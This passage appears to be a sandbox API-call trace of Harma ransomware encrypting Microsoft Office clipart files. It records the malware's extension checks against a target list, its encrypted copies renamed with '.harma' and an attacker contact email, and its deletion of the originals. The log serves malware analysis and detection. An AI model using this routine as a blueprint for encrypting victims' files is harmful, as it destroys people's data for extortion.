(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.605] lstrlenW (lpString=".zip") returned 4 [0160.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.605] lstrlenW (lpString=".rar") returned 4 [0160.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.605] lstrlenW (lpString=".bz2") returned 4 [0160.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.605] lstrlenW (lpString=".7z") returned 3 [0160.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.605] lstrlenW (lpString=".dbf") returned 4 [0160.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.605] lstrlenW (lpString=".1cd") returned 4 [0160.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0160.605] lstrlenW (lpString=".jpg") returned 4 [0160.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.606] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0160.606] lstrlenW (lpString="J0099150.JPG") returned 12 [0160.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0160.757] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=21914) returned 1 [0160.757] CloseHandle (hObject=0x368) returned 1 [0160.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 0x20 [0160.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.812] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.812] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0160.813] GetLastError () returned 0x0 [0160.813] ReadFile (in: hFile=0x378, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x559a, lpOverlapped=0x0) returned 1 [0160.825] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x55a0, lpOverlapped=0x0) returned 1 [0160.826] ReadFile (in: hFile=0x378, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.826] WriteFile (in: hFile=0x338, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.826] SetEndOfFile (hFile=0x338) returned 1 [0160.826] CloseHandle (hObject=0x338) returned 1 [0160.826] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.826] SetEndOfFile (hFile=0x378) returned 1 [0160.829] CloseHandle (hObject=0x378) returned 1 [0160.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0161.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0161.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.918] lstrlenW (lpString=".doc") returned 4 [0161.918] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.918] lstrlenW (lpString=".docx") returned 5 [0161.918] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0161.918] lstrlenW (lpString=".pdf") returned 4 [0161.918] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.918] lstrlenW (lpString=".xls") returned 4 [0161.918] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.918] lstrlenW (lpString=".xlsx") returned 5 [0161.918] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0161.918] lstrlenW (lpString=".ppt") returned 4 [0161.918] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.918] lstrlenW (lpString=".zip") returned 4 [0161.918] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.918] lstrlenW (lpString=".rar") returned 4 [0161.918] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.918] lstrlenW (lpString=".bz2") returned 4 [0161.918] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.918] lstrlenW (lpString=".7z") returned 3 [0161.918] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.918] lstrlenW (lpString=".dbf") returned 4 [0161.918] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.919] lstrlenW (lpString=".1cd") returned 4 [0161.919] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.919] lstrlenW (lpString=".jpg") returned 4 [0161.919] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.919] lstrlenW (lpString=".doc") returned 4 [0161.919] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.919] lstrlenW (lpString=".docx") returned 5 [0161.919] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0161.919] lstrlenW (lpString=".pdf") returned 4 [0161.919] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.919] lstrlenW (lpString=".xls") returned 4 [0161.919] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.919] lstrlenW (lpString=".xlsx") returned 5 [0161.919] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0161.919] lstrlenW (lpString=".ppt") returned 4 [0161.919] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.919] lstrlenW (lpString=".zip") returned 4 [0161.919] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.919] lstrlenW (lpString=".rar") returned 4 [0161.920] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.920] lstrlenW (lpString=".bz2") returned 4 [0161.920] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.920] lstrlenW (lpString=".7z") returned 3 [0161.920] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.920] lstrlenW (lpString=".dbf") returned 4 [0161.920] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.920] lstrlenW (lpString=".1cd") returned 4 [0161.920] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0161.920] lstrlenW (lpString=".jpg") returned 4 [0161.920] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.920] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0161.920] lstrlenW (lpString="J0099155.JPG") returned 12 [0161.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0161.933] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=8826) returned 1 [0161.934] CloseHandle (hObject=0x33c) returned 1 [0161.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 0x20 [0161.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0161.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0161.934] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.934] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0161.936] GetLastError () returned 0x0 [0161.936] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x227a, lpOverlapped=0x0) returned 1 [0162.015] WriteFile (in: hFile=0x398, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2280, lpOverlapped=0x0) returned 1 [0162.016] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.017] WriteFile (in: hFile=0x398, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.017] SetEndOfFile (hFile=0x398) returned 1 [0162.018] CloseHandle (hObject=0x398) returned 1 [0162.018] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.018] SetEndOfFile (hFile=0x33c) returned 1 [0162.021] CloseHandle (hObject=0x33c) returned 1 [0162.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0162.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.023] lstrlenW (lpString=".doc") returned 4 [0162.023] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.023] lstrlenW (lpString=".docx") returned 5 [0162.023] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0162.023] lstrlenW (lpString=".pdf") returned 4 [0162.023] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.023] lstrlenW (lpString=".xls") returned 4 [0162.023] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.023] lstrlenW (lpString=".xlsx") returned 5 [0162.023] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0162.023] lstrlenW (lpString=".ppt") returned 4 [0162.023] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.023] lstrlenW (lpString=".zip") returned 4 [0162.023] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.024] lstrlenW (lpString=".rar") returned 4 [0162.024] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.024] lstrlenW (lpString=".bz2") returned 4 [0162.024] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.024] lstrlenW (lpString=".7z") returned 3 [0162.024] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.024] lstrlenW (lpString=".dbf") returned 4 [0162.024] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.024] lstrlenW (lpString=".1cd") returned 4 [0162.024] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.024] lstrlenW (lpString=".jpg") returned 4 [0162.024] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.024] lstrlenW (lpString=".doc") returned 4 [0162.024] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.024] lstrlenW (lpString=".docx") returned 5 [0162.024] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0162.024] lstrlenW (lpString=".pdf") returned 4 [0162.024] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.024] lstrlenW (lpString=".xls") returned 4 [0162.025] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.025] lstrlenW (lpString=".xlsx") returned 5 [0162.025] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0162.025] lstrlenW (lpString=".ppt") returned 4 [0162.025] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.025] lstrlenW (lpString=".zip") returned 4 [0162.025] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.025] lstrlenW (lpString=".rar") returned 4 [0162.025] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.025] lstrlenW (lpString=".bz2") returned 4 [0162.025] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.025] lstrlenW (lpString=".7z") returned 3 [0162.025] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.025] lstrlenW (lpString=".dbf") returned 4 [0162.025] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.025] lstrlenW (lpString=".1cd") returned 4 [0162.025] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0162.026] lstrlenW (lpString=".jpg") returned 4 [0162.026] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.026] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0162.026] lstrlenW (lpString="J0099159.WMF") returned 12 [0162.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0162.027] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=27546) returned 1 [0162.027] CloseHandle (hObject=0x33c) returned 1 [0162.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 0x20 [0162.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0162.028] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.028] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0162.169] GetLastError () returned 0x0 [0162.169] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x6b9a, lpOverlapped=0x0) returned 1 [0162.219] WriteFile (in: hFile=0x3a0, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x6ba0, lpOverlapped=0x0) returned 1 [0162.221] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0162.221] WriteFile (in: hFile=0x3a0, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.222] SetEndOfFile (hFile=0x3a0) returned 1 [0162.222] CloseHandle (hObject=0x3a0) returned 1 [0162.222] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.222] SetEndOfFile (hFile=0x33c) returned 1 [0162.226] CloseHandle (hObject=0x33c) returned 1 [0162.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0162.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.446] lstrlenW (lpString=".doc") returned 4 [0162.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.446] lstrlenW (lpString=".docx") returned 5 [0162.446] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0162.446] lstrlenW (lpString=".pdf") returned 4 [0162.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.446] lstrlenW (lpString=".xls") returned 4 [0162.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.446] lstrlenW (lpString=".xlsx") returned 5 [0162.446] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0162.446] lstrlenW (lpString=".ppt") returned 4 [0162.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.446] lstrlenW (lpString=".zip") returned 4 [0162.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.446] lstrlenW (lpString=".rar") returned 4 [0162.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.446] lstrlenW (lpString=".bz2") returned 4 [0162.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.446] lstrlenW (lpString=".7z") returned 3 [0162.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.447] lstrlenW (lpString=".dbf") returned 4 [0162.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.447] lstrlenW (lpString=".1cd") returned 4 [0162.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.447] lstrlenW (lpString=".jpg") returned 4 [0162.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.447] lstrlenW (lpString=".doc") returned 4 [0162.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString=".docx") returned 5 [0162.447] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0162.447] lstrlenW (lpString=".pdf") returned 4 [0162.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.447] lstrlenW (lpString=".xls") returned 4 [0162.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.447] lstrlenW (lpString=".xlsx") returned 5 [0162.447] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0162.447] lstrlenW (lpString=".ppt") returned 4 [0162.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.448] lstrlenW (lpString=".zip") returned 4 [0162.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.448] lstrlenW (lpString=".rar") returned 4 [0162.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.448] lstrlenW (lpString=".bz2") returned 4 [0162.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.448] lstrlenW (lpString=".7z") returned 3 [0162.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0162.448] lstrlenW (lpString=".dbf") returned 4 [0162.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.448] lstrlenW (lpString="C:\\Program Files\\Microsoft 